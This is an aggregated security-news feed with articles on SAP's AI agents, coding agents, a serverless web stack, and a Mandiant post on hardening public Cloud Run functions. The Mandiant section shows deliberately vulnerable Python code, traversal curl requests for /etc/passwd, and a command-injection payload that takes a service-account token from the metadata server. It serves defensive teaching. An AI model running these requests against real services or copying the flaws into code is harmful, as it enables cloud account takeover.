<p class="wp-block-paragraph"><em>Many companies still struggle to trust AI agents. After all, large language models operate probabilistically and can produce false information. This is particularly problematic in financial processes. How do you build trust?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Trust begins with a stable foundation. ERP systems remain the reliable system of record. They operate deterministically, contain the business logic, and hold the relevant company data. AI agents build upon this foundation. They do not replace it.</p>



<p class="wp-block-paragraph">Equally important is the human-in-the-loop principle. Employees must be able to understand what the agent is doing, verify its results, and intervene if necessary. That’s why employee training also plays a crucial role. They must understand how generative AI works and where its limitations lie.</p>



<p class="wp-block-paragraph">Of course, language models can hallucinate. At the same time, we must not forget that humans are not infallible either. The key lies in the collaboration between humans and AI. This allows us to improve both the efficiency and the quality of many business processes.</p>



<p class="wp-block-paragraph">Another important component is transparency. Our global AI ethics policy, for example, stipulates that users must always be able to recognize when AI is involved. In Joule, it’s possible to trace which data sources the agent used and which steps it went through in reaching its decision. This traceability is an essential prerequisite for trust.</p>



<p class="wp-block-paragraph"><em>What distinguishes an SAP agent from a general AI agent that merely accesses an ERP system?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> The key difference is that Joule and the SAP agents are directly embedded in the ERP system. There, for example, we’ve built a knowledge graph that describes the semantic relationships between all tables, business objects, and data fields.</p>



<p class="wp-block-paragraph">To put this into perspective: The SAP S/4HANA Knowledge Graph is based on approximately 452,000 ABAP tables, 7.3 million data fields, and thousands of analytical views. The semantic relationships between these artifacts are modeled in the Knowledge Graph and made available for AI applications.</p>



<p class="wp-block-paragraph">For example, if a user wants to view all open purchase orders, the agent does not first have to laboriously search for the relevant information. It immediately knows which tables and objects are relevant and also understands the relationships between a purchase order, a purchase requisition, the responsible approvers, and other business objects. As a result, the agent not only works much more precisely but also requires significantly fewer tokens because it can greatly narrow down the search space.</p>



<p class="wp-block-paragraph">If, instead, one attempts to simply overlay AI onto an existing system or extract data from a relational ERP system, many of these relationships are lost. In a sense, this destroys the semantic context that is crucial for precise answers.</p>



<p class="wp-block-paragraph">That is why we view the ERP system as an enormous strategic advantage. It has been the system of record for decades and contains roughly 50 years of codified business and process knowledge. This knowledge forms the foundation for what we call the <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">autonomous enterprise</a>. The agents build upon this knowledge and continue to develop it.</p>



<p class="wp-block-paragraph">In the future, SAP agents will also communicate bidirectionally with agents from other providers via standards such as Agent-to-Agent (A2A).</p>



<p class="wp-block-paragraph"><em>According to your study, AI currently creates the greatest added value in decision-making, customer interaction, and gaining new insights, rather than in traditional productivity gains. Will this change the way companies justify AI investments in the future?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> In our study, productivity was simply rated slightly lower than, for example, gaining new insights. In the long term, however, productivity remains the ultimate goal. Europe, in particular, has been suffering from comparatively weak productivity growth for years.</p>



<p class="wp-block-paragraph">At SAP, we therefore first evaluate every new AI feature based on its specific business value. For all agents and AI features that we include in our AI Feature Catalog, we first conduct a value analysis. We ask: What benefit does the feature offer the user? Does it contribute to higher revenue? Does it increase productivity? Only then is it developed further.</p>



<p class="wp-block-paragraph">At the moment, the greatest added value often still lies in consolidating information from structured and unstructured data sources and making it accessible via natural language. The next step, however, is to translate these insights directly into more efficient business processes. That is precisely where the greatest productivity gains will be realized in the future.</p>



<blockquote class="wp-block-quote is-style-plain is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>If you could give CIOs just one or two pieces of advice for the transition from generative AI to AI agents, what would they be?</em></p>
</blockquote>



<p class="wp-block-paragraph"><strong>Kask:</strong> In my view, the biggest mistake would be to try to transform the entire company all at once or to attempt to perfectly prepare all the data right from the start.</p>



<p class="wp-block-paragraph">Instead, you should consider what kind of agent can create significant added value, and then implement it. Of course, this agent needs access to consistent and context-rich enterprise data. That’s exactly what we’re working on at SAP with technologies like the knowledge graph, which maps the semantic relationships within enterprise data.</p>



<p class="wp-block-paragraph">In addition, with data products and the SAP Business Data Cloud, we provide tools that make data from various sources usable for AI agents. Thanks to zero-copy and data fabric approaches, information from legacy systems, Snowflake, or ERP systems can be consolidated without first having to extensively replicate the data. For a procurement agent, this makes it possible to provide exactly the relevant data for the specific use case.</p>



<p class="wp-block-paragraph">The key point is this: Companies do not have to wait until they have fully migrated to the cloud or consolidated their entire data landscape. With the technologies available today, data can already be made usable for specific AI agents, managed in a controlled manner, and used to quickly generate initial business value. On the other hand, those who wait for the perfect starting point run the risk of falling behind.</p>



<p class="wp-block-paragraph"><em>This article is adapted from one first published by Computerwoche.</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p class="wp-block-paragraph"><a></a></p>
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<title><![CDATA[The next challenge for coding agents]]></title>
<description><![CDATA[On the first day of Software Engineering 101, you learned about the SDLC — the software development life cycle. You learned that there is a whole lot more to producing quality software than writing some code and deploying it to production. We’ve studied the SDLC every which way, and we know where...]]></description>
<link>https://tsecurity.de/de/3671152/ai-nachrichten/the-next-challenge-for-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671152/ai-nachrichten/the-next-challenge-for-coding-agents/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:21 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">On the first day of Software Engineering 101, you learned about the SDLC — the software development life cycle. You learned that there is a whole lot more to producing quality software than writing some code and deploying it to production. We’ve studied the SDLC every which way, and we know where and how time is spent within it.</p>



<p class="wp-block-paragraph">The coding is the most interesting part of the SDLC. It is one of a number of steps in the process, but it’s the part that takes up the biggest chunk of the SDLC schedule.</p>



<p class="wp-block-paragraph">Agentic coding has changed all of that. I wrote earlier this year about the impacts upstream of coding <a href="https://www.infoworld.com/article/4116373/when-writing-code-is-no-longer-the-bottleneck.html">when writing code is no longer the bottleneck</a>. Here I want to think about the impacts for developers downstream — what we can expect to happen after the code gets written — when agents write the code.</p>



<h2 class="wp-block-heading">Downstream from coding</h2>



<p class="wp-block-paragraph">Even before agentic coding, we developers spent far more time reading and maintaining code than we spent writing it. Maintaining the code and supporting the product has always been the major lifetime cost of the project as a whole. Now that the bottleneck has moved away from the coding process, we will look for ways to apply AI agents downstream of writing code. So, just as agentic AI has made writing code trivial, we can expect it to improve the remaining 60% to 70% of our job as well. </p>



<p class="wp-block-paragraph">Maintenance of code can be a real challenge. We are all familiar with how it often goes. We get a vague customer report of a problem along with a copious log, and we have to dive in and make sense of a very complex situation. The application has hundreds of settings and options, making the potential code paths practically infinite. Maybe we have a copy of the customer’s database with their precise settings, or maybe we just know they have one specific setting inside the problem feature set. Maybe we can reproduce the problem. Maybe we can’t. It’s almost always vague and confusing.</p>



<p class="wp-block-paragraph">Here’s where agents can really shine. Normally, a huge log is a problem. What mere mortal can sift through the thousands of entries that our powerful logging tools can produce? No human, but Claude Code will happily gobble up all of that data and quickly zero in on the problem. And by quickly, I mean frequently in a matter of minutes or seconds. </p>



<h2 class="wp-block-heading">The next choke point</h2>



<p class="wp-block-paragraph">Or as <a href="https://www.linkedin.com/in/spiros/" data-type="link" data-id="https://www.linkedin.com/in/spiros/">Spiros Xanthos</a>, the CEO of Resolve AI — producer of a tool specifically designed for applying agents to production problems — says, “The real opportunity is purpose-built AI that can carry more of the cognitive load of production… If we get that right, developers spend less time manually piecing together what happened and more time building and improving the systems they own.” </p>



<p class="wp-block-paragraph">I’ll venture to say that dealing with production problems is more challenging than writing code, both for humans and agents. But agents have huge contexts and infinite patience, and we humans do not. Code is a bounded system, and agents can train on an enormous body of data illustrating a vast array of coding techniques. Production? As Xanthos put it to me, it’s effectively unbounded, enormously varying, and a living, breathing system different for every product and every company. </p>



<p class="wp-block-paragraph">We should always focus on the tightest bottleneck, and then move on to the next one. We’ve solved the coding choke point, and now we need to turn our attention to the next one — fixing production issues. That’s a non-trivial part of a developer’s job, and we shouldn’t be surprised that AI agents can do it better than we can.</p>
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<title><![CDATA[Ship faster with GitHub, Vercel, and Firestore]]></title>
<description><![CDATA[These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really c...]]></description>
<link>https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really come of age. Here we’ll take a look at putting together three of the most impressive: GitHub, Vercel, and Firestore.</p>



<p class="wp-block-paragraph">Each of these is an important tool in its own right that can be used to attack specific problems. In combination, they not only meet the needs of several important application scenarios, but they have a superpower—the ability to dramatically shorten the distance between development and deployment.</p>



<p class="wp-block-paragraph">There is nothing quite as gratifying as putting your hands on just the right mix of tools for a given need.</p>



<h2 class="wp-block-heading">A ‘no-ops’ stack built for speed</h2>



<p class="wp-block-paragraph">If your primary goal is sheer development velocity, you would be hard-pressed to top this architecture. This “no-ops” stack collapses the distance between your local IDE and a globally distributed production environment. You are essentially trading the overhead of managing VMs and load balancers for the sheer speed of committing code and watching it deploy automatically.</p>



<p class="wp-block-paragraph">While each component is highly flexible, adopting them requires a specific, event-driven mindset. There are a few finicky bits to manage, mostly around routing environment variables securely and designing around stateless back-end functions. But the constraints are obvious and well-documented.</p>



<p class="wp-block-paragraph">Before we look more closely, let’s quickly identify the kinds of apps that are a perfect fit here, along with those that are workable and those that really merit a different approach.</p>



<ul class="wp-block-list">
<li>The sweet spot (deploy and go): AI-mediated applications, asynchronous game back ends, and real-time collaborative B2B dashboards. This architecture perfectly absorbs the unpredictable latency of LLM APIs and instantly syncs state across multiple clients without requiring you to build custom WebSocket infrastructure.</li>



<li>The middle ground (workable, with trade-offs): Headless e-commerce, moderate IoT telemetry, and apps requiring scheduled batch processing. You will encounter friction if your catalog relies on deeply relational SQL constraints, or if your background reporting jobs take longer than a few minutes and hit serverless execution limits.</li>



<li>The danger zone (look elsewhere): High-frequency trading, fast-paced action multiplayer games, heavy data ETL pipelines, and core financial ledgers. Serverless architectures cannot natively hold open the persistent WebSockets required for twitch-reflex data, and heavy compute tasks will abruptly time out.</li>
</ul>



<p class="wp-block-paragraph">We should mention that these categories are not mutually exclusive. Many enterprise applications, such as a full-scale e-commerce platform, straddle these lines. You might use Vercel and Firestore to build a lightning-fast, reactive storefront that handles ephemeral user state like shopping carts, while simultaneously “stitching in” a managed SQL database like Supabase or PlanetScale. This hybrid approach allows you to maintain the relational integrity required for back-office inventory and financial ledgers and pair it with the front-end velocity this stack provides.</p>



<h2 class="wp-block-heading">GitHub: the bedrock</h2>



<p class="wp-block-paragraph">I don’t need to introduce you to <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a>. It is a central element of the development landscape. I still remember CVS and SVN with a certain nostalgia, but the enhancements of <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git</a> speak for themselves. When combined with the orchestration powers of GitHub, it is no wonder that virtually the whole industry has adopted this type of platform.</p>



<p class="wp-block-paragraph">Git plus GitHub gives you an enormous amount of power already, in terms of how you can organize and automate your projects. But there is a next-level experience in combining GitHub and Vercel. For <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html" data-type="link" data-id="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a>-based projects, you can take simple GitHub pushes and turn them into instantly deployed clients and serverless functions. It is one of the cleanest and least fiddly ways to move from raw code on your local machine to a globally deployed, full-stack architecture.</p>



<h2 class="wp-block-heading">Vercel: the nexus</h2>



<p class="wp-block-paragraph">Vercel is more than just a deployment host. It is a control plane that ties this high-velocity, no-ops architecture together. Alongside GitHub and Firestore, Vercel’s deeper strength is its ability to act as an orchestration layer between your reactive front end and external stateful services.</p>



<p class="wp-block-paragraph">Vercel has a great amount of facility in fine-tuning what branches go to what environment and helpful features like instant rollback. You can just log into Vercel’s dashboard for your project and see the history of deployments and any errors and logs. It’s a simple menu choice to roll back to a historical version or compare one version against another.</p>



<p class="wp-block-paragraph">When you “stitch in” third-party services (such as a managed SQL database like <a href="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html" data-type="link" data-id="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html">Supabase</a> or a payment processor like Stripe), Vercel’s serverless functions become the lightweight interface, and Vercel’s the adapters handle the communication. You offload the integration logic (the service layer) to Vercel’s global Edge Network, keeping your UI and back end clean, responsive, and decoupled. </p>



<p class="wp-block-paragraph">In short, Vercel allows you to get the speed of the “no-ops” development life cycle without sacrificing the complex transactional integrity required for some applications like enterprise inventory systems. </p>



<h2 class="wp-block-heading">Firestore: the datastore</h2>



<p class="wp-block-paragraph">Firestore is an extremely lightweight, NoSQL, cloud datastore. It has a great deal of add-on power, but its core value proposition is that it accepts virtually any data you stuff into it and it provides event-driven subscriptions to data changes.</p>



<p class="wp-block-paragraph">These two capabilities together make Firestore about as straightforward a solution to a managed back end as you can imagine. You subscribe to collections or even fields and then you simply stick “unstructured” data (read: JSON with variable fields) in and the client waits for the changes it is interested in.</p>



<p class="wp-block-paragraph">This is so streamlined that one can just point the browser (or native mobile app) directly at Firestore and listen for events. Which immediately raises the question of identity, for auth and for data visibility, but hold on—Firestore’s third superpower is that it has an authentication module <em>that actually works. </em>What I mean is, it is actually pretty simple and yet confidently secures your app.</p>



<p class="wp-block-paragraph">Sometimes auth solutions seem either too simple (and yet opaque) or too mired in the nitty gritty. <a href="https://docs.cloud.google.com/firestore/native/docs/authentication" data-type="link" data-id="https://docs.cloud.google.com/firestore/native/docs/authentication">Firestore auth</a> will let you do some basic configuration and start using a reasonable auth almost immediately. </p>



<p class="wp-block-paragraph">Not to belabor the point, but having a realistic and attainable auth solution elevates your stack to a production grade—one that can handle many real-world applications. Firestore auth plays nicely with other important APIs, like Stripe. Typically, auth is a major feature that feels like off-roading in a Honda Civic, but Firestore’s approach to auth, <em>added to this particular stack</em>, feels like a normal speed bump. It’s just another component you plug in, rather than a tentacled alien you weave into the your code.</p>



<h2 class="wp-block-heading">The limits of the velocity stack</h2>



<p class="wp-block-paragraph">This architecture combines components that are optimized for flexibility. That same character also introduces distinct limitations. Understanding these is essential before committing production workloads.</p>



<h3 class="wp-block-heading">The serverless life cycle</h3>



<p class="wp-block-paragraph">Serverless functions are spun up to handle requests. They close out soon afterward and lose any state. For that reason, they cannot natively hold open persistent WebSockets. If your system requires continuous, sub-millisecond, bidirectional streams—like a real-time multiplayer action game or a high-frequency trading dashboard—pure serverless will fight you all the way. You are forced to introduce a third-party managed WebSocket service to route messages back to your stateless endpoints via HTTP webhooks.</p>



<h3 class="wp-block-heading">The execution time ceiling</h3>



<p class="wp-block-paragraph">Vercel (like all serverless platforms) enforces strict timeouts on operations. While enterprise tiers might grant you up to 15 minutes, standard functions often time out after 10 to 60 seconds. Long-running tasks like video transcoding, database scripts, or orchestrating multi-step AI agent workflows, which might take 20 minutes to resolve, will run up against these limits. Heavy-lifting tasks must be offloaded to a dedicated, long-running service like Google Cloud Run, or broken into smaller, asynchronous chunks via message queues.</p>



<h3 class="wp-block-heading">The cold start reality</h3>



<p class="wp-block-paragraph">While the industry has made massive strides in minimizing initialization times—particularly with lightweight edge networks—traditional Node.js-based serverless functions still experience cold starts. If a function has not been invoked recently, or if traffic spikes require a new instance to spin up concurrently, the first request will take a noticeable latency hit as the container provisions and the code loads.</p>



<h3 class="wp-block-heading">API instead of RAM</h3>



<p class="wp-block-paragraph">In a traditional server environment, you can store transient data in global RAM, allowing subsequent requests to access shared context instantly. In the serverless model, every request might hit a fresh container. Therefore, <em>all</em> shared context must be externalized. Although Firestore serves brilliantly as the state manager, relying on a database for high-frequency, sub-millisecond, ephemeral caching introduces network latency and per-operation costs. That said, using a shared RAM state on a server is non-trivial also, unless you are using a single app server and VM (because high-availability or fail-over requirements will lessen the RAM win on a traditional server).</p>



<h2 class="wp-block-heading">Tuning for velocity and control</h2>



<p class="wp-block-paragraph">Every architectural decision is a trade-off. There are no cost-free choices. By adopting the GitHub, Vercel, and Firestore stack, you are explicitly maximizing feature velocity over fine-grained control.</p>



<p class="wp-block-paragraph">You lose the ability to tweak the underlying operating system, hold open persistent sockets, or run hour-long back-end scripts. In exchange, you gain an architecture that scales from zero to global distribution instantly, requires virtually no devops maintenance, and perfectly absorbs the asynchronous, event-driven realities of modern application development.</p>



<p class="wp-block-paragraph">For the right application—whether it is a fast-moving prototype or an enterprise AI copilot—this stack doesn’t just save time; it fundamentally changes how quickly a small team (or a single person) can impact the market. You stop worrying about build chains, load balancers, and server patches, and you focus on the central mission: shipping features.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Risk of Exposed Cloud Functions and How to Harden]]></title>
<description><![CDATA[Written by: Corné de Jong

Introduction 
Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-par...]]></description>
<link>https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/</guid>
<pubDate>Wed, 15 Jul 2026 16:08:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Corné de Jong</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-party packages, making them targets for a wide range of application-level attacks, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Local and Remote File Inclusion (LFI/RFI)</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Command Injection</span></p>
</li>
</ul>
<p><span>Successful exploitation of these vulnerabilities can grant an attacker full control over the underlying container instance. Such access can serve as a foothold that may ultimately lead to a full compromise of the victim’s cloud environment.</span></p>
<p><span>Based on lessons learned in customer engagements, in this blog post we describe attack scenarios and provide actionable guidance on how to secure serverless environments. While this analysis focuses on hardening strategies for Google Cloud Run services and functions that must remain publicly accessible, these principles apply universally to any public serverless deployment.</span></p>
<h3><span>What are Serverless Applications?</span></h3>
<p><span>Serverless applications, also described as Function-as-a-Service (FaaS), allow the deployment of individual blocks of code as microservices within a flexible, decoupled, and event-driven cloud architecture without the need to manage underlying infrastructure. These services enable applications and automations to scale automatically and deploy instantly, removing operational overhead. </span><span>Serverless services underpin major e-commerce, media, payment processing applications, and AI usage.</span><span> </span></p>
<p><span>The rapid expansion of generative AI adoption is a significant driver of increased serverless architecture use. </span><span>AI workflows, including chatbot interactions, image generation, “vibe-coding”, and multi-step AI agents rely on serverless functions to complete tasks for users. </span><span>This growth has made securing serverless environments a more pressing challenge for enterprise security teams. </span></p>
<h3><span>Risks of Serverless Application Attacks</span></h3>
<p><span>Publicly exposed serverless workloads can serve as an initial access point for threat actors. As noted, these services may contain vulnerabilities within the code, imported packages, or the underlying runtime environment.</span></p>
<p><span>Once an entry point is exploited, attackers typically attempt to escalate privileges or move laterally. Common techniques observed include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Extracting secrets stored directly within the application code.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Reviewing application logic and sensitive data to identify further attack vectors within the environment.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Exfiltrating service account bearer tokens from the metadata server following successful Remote Code Execution (RCE).</span></p>
</li>
</ul>
<p><span>Leveraging these compromised secrets or service accounts allows threat actors to pivot to adjacent systems and workloads, potentially resulting in a total environment takeover if proper hardening strategies are not in place.</span></p>
<h3><span>Example Attack Scenarios</span></h3>
<p><span>The following simplified scenarios illustrate how serverless functions can be compromised and how attackers pivot after achieving initial code execution.</span></p>
<h4><span>Local File Inclusion (LFI) </span></h4>
<p><span>In the following Cloud Run example, a Python/Flask function accepts user-controlled input to open a file without performing proper validation. This pattern is an example of a Local File Inclusion (LFI) vulnerability.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>import functions_framework

@functions_framework.http
def hello_http(request):
    request_json = request.get_json(silent=True)
    request_args = request.args
    if request_json and 'file' in request_json:
        file = request_json['file']
    elif request_args and 'file' in request_args:
        file = request_args['file']
 
# VULNERABILITY: The 'file' parameter is used directly in open() 
# without validation, allowing arbitrary file access
    with open(file, 'r') as resp:
          filedata = resp.read()
    return 'local file data {}!'.format(filedata)</code></pre>
<p><span><span>Figure 1: Vulnerable Python/Flask function accepting unvalidated user input to open files</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>This vulnerability allows an attacker to request sensitive files from the Cloud Run instance by using </span><code>curl</code><span> to send a POST request via the </span><code>file</code><span> parameter:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "main.py"}'</code></pre>
<p><span><span>Figure 2: curl POST request targeting the file parameter</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>The response provides the complete </span><code>main.py</code><span> source code. An attacker can analyze the code for:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Hardcoded secrets such as API keys, database credentials, or authentication tokens</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Business logic flaws and additional injection points</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Internal service endpoints and architecture details</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Import statements revealing the technology stack and potential CVE exposure</span></p>
</li>
</ul>
<p><span>Additionally, attackers can leverage standard </span><code>../</code><span> directory traversal sequences to retrieve sensitive system files:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd"}'</code></pre>
<p><span><span>Figure 3: curl POST request leveraging directory traversal sequences</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>An LFI vulnerability allows an attacker to retrieve and fuzz various files directly from the container. Key examples include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><code>requirements.txt, package.json, go.mod</code><span>: Used to identify installed packages and versions with known vulnerabilities.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>.</span><code>env</code><span> files: Frequently contain sensitive environment variables or hard coded secrets.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Application configuration files: </strong><span>May contain database credentials, API keys, or service endpoints if not securely managed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><code>/etc/passwd, /proc/self/environ</code><span>: Contains user information, environment variables.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Application logs: </strong><span>may contain auth tokens or PII data.</span></p>
</li>
</ul>
<p><strong>Best Practice:</strong><span> Never store secrets or credentials within the source code or local container files. Utilize a dedicated secrets management solution, such as Secret Manager.</span></p>
<h4><span>Code Execution/Command Injection</span></h4>
<p><span>In the following scenario, a Python function uses shell execution methods with unsanitized user input, allowing an attacker to execute arbitrary commands.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>import functions_framework
import subprocess


@functions_framework.http
def hello_http(request):
  request_json = request.get_json(silent=True)
  request_args = request.args
  if request_json and 'input' in request_json:
      input = request_json['input']
  elif request_args and 'input' in request_args:
      input = request_args['input']
  result = subprocess.run(input, shell=True,capture_output=True, text=True)
  return format(result)</code></pre>
<p><span><span>Figure 4: Python function utilizing shell execution with unsanitized user input</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>This allows an attacker to execute a subsequent curl request targeting the GCP metadata service to retrieve the service account’s bearer token. </span></p>
<p><span>The following request extracts the service account's OAuth 2.0 bearer token, which remains valid for 1 hour:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun02-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"</code></pre>
<p><span><span>Figure 5:</span><span> </span><span>Extraction of a GCP service account bearer token via a curl request</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Once obtained, an attacker can use it on an attacker-controlled system to execute Google Cloud CLI commands. For example the </span><code>CLOUDSDK_AUTH_ACCESS_TOKEN</code><span> environment variable can be set using the stolen bearer token.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>export CLOUDSDK_AUTH_ACCESS_TOKEN=”obtain bearer token”</code></pre>
<p><span><span>Figure 6: Defining CLOUDSDK_AUTH_ACCESS_TOKEN environment variable</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Attackers can then leverage Google Cloud Cloud CLI within the security context of the Cloud Run Compute service account. If deployed without best practices and thoughtful configuration controls, for example, if the  Cloud Run service runs as the default compute service account with Editor permissions, this would be equivalent to a full GCP project takeover, and allow the attacker to:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Read/write/delete most GCP resources</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Deploy new services and modify existing configurations</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Access secrets and encryption keys</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Exfiltrate data across all accessible storage systems</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Establish persistent backdoors through new service accounts or SSH keys.</span></p>
</li>
</ul>
<h3><span>Hardening Recommendations</span></h3>
<p><span>Mandiant recommends that organizations implement parallel approaches for effective serverless security:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Secure Software Development Lifecycle (S-SDLC): </strong><span>integrate security scanning, code review, least-privilege IAM into CI/CD pipelines before deployment and integrate continuous security testing; </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Vibe Coding</strong><span>: Mandiant recommends multi-layered security enforcement for AI-generated code or "vibe coding." Organizations should isolate AI experimentation within dedicated sandbox environments and enforce strict data egress controls to protect production systems and internal data. Furthermore, development environments should be restricted to approved IDEs with human-in-the-loop capabilities, utilizing only verified plugins operating under least privilege to mitigate supply chain vulnerabilities. Finally, organizations must ensure this AI-generated software follows Secure Software Development Lifecycle (S-SDLC) controls while establishing clear internal guidelines regarding permitted use cases. Comprehensive security fundamentals for vibe coding are documented in detail within the </span><a href="https://www.wiz.io/academy/ai-security/vibe-coding-security" rel="noopener" target="_blank"><span>Wiz Vibe Coding Security Fundamentals blog</span></a><span>.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compensating Runtime Controls: </strong><span>Implement the following defense-in-depth measures to limit and contain compromise even when application vulnerabilities exist;</span></p>
</li>
</ul>
<h4><span>Segregate Public Services</span></h4>
<p><span>Host public-facing Cloud Run services consumed by untrusted external entities in a dedicated, isolated Google Cloud project. This ensures a compromise does not provide an immediate path to critical internal resources. The implementation of this 'Service Project' model is beyond the scope of this post; however, it is documented in detail within the </span><a href="https://docs.cloud.google.com/architecture/blueprints/serverless-blueprint"><span>secured serverless architecture blueprint</span></a><span>.</span></p>
<h4><span>Identity and Access Management (IAM)</span></h4>
<p><span>Mandiant recommends using a custom service account for service authentication rather than the default Compute Engine service account, following the principle of least privilege. Grant only the specific permissions necessary for the Cloud Run function to operate, for example:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Cloud Storage Bucket Access:</strong><span> If the service only requires read access to objects from a Cloud Storage bucket, grant the </span><code>Storage Object Viewer</code><span> (</span><code>roles/storage.objectViewer</code><span>) role restricted to that specific bucket.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Secret Manager Access:</strong><span>  If the service requires access to secrets, grant the</span><code> Secret Manager Secret Accessor</code><span> (</span><code>roles/secretmanager.secretAccessor</code><span>) role only to the individual secrets required. For further details on secret access from Cloud Run, refer to the </span><a href="https://docs.cloud.google.com/run/docs/configuring/services/secrets#required_roles"><span>GCP documentation on configuring secrets</span></a><span>.</span></p>
</li>
</ul>
<h4><span>Layer 7 Application Load Balancer (ALB) Architecture</span></h4>
<p><span>Restrict ingress traffic for serverless functions to internal only and use an external Layer 7 ALB to manage internet exposure. This provides:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Centralized Traffic Management:</strong><span> Granular control over headers and SSL policies.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud Armor Integration:</strong><span> Web Application Firewall (WAF) support to harden applications against vulnerabilities such as Local/Remote File Inclusion (LFI/RFI) and Server-Side Request Forgery (SSRF).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Traffic Shaping: </strong><span>Implementation of rate limits and request limitations to prevent abuse.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Enhanced Visibility:</strong><span> Robust logging and log-forwarding capabilities for security monitoring.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Identity-Aware Proxy (IAP):</strong><span> integration support for scenarios requiring specific identity-based authentication for internal users.</span></p>
</li>
</ul>
<h4><span>Web Application Firewall (WAF) <span>—</span> Cloud Armor</span></h4>
